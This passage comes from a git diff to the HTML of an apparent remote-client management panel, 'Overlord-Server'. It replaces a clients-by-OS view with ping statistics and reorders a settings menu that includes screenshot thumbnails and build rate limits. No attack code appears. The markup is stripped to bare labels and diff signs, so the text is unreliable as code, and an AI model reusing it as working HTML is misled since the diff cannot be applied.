- Latency avg/p95: + Latency avg/p95/p99: 0 / - 0 + 0 / + 0
@@ -239,17 +321,21 @@ Loop lag max: 0
-
-
- - -
-

- - Clients by OS -

-
-
No data
+
+ Ping avg: + - +
+
+ Ping min/max: + + - / + - + +
+
+ Ping samples: + 0 +
diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 4230b34..499c4f2 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -90,15 +90,16 @@ Wipe Offline Clients Admin - Security Policy - Screenshot Thumbnails - TLS Certificates - Team Chat - Registration - Build Rate Limit - Custom CSS - Export / Import - Server Health + Access Overview + Security Policy + TLS Certificates + Team Chat + Registration + Screenshot Thumbnails + Build Rate Limit + Custom CSS + Export / Import + Server Health @@ -552,8 +553,30 @@ - -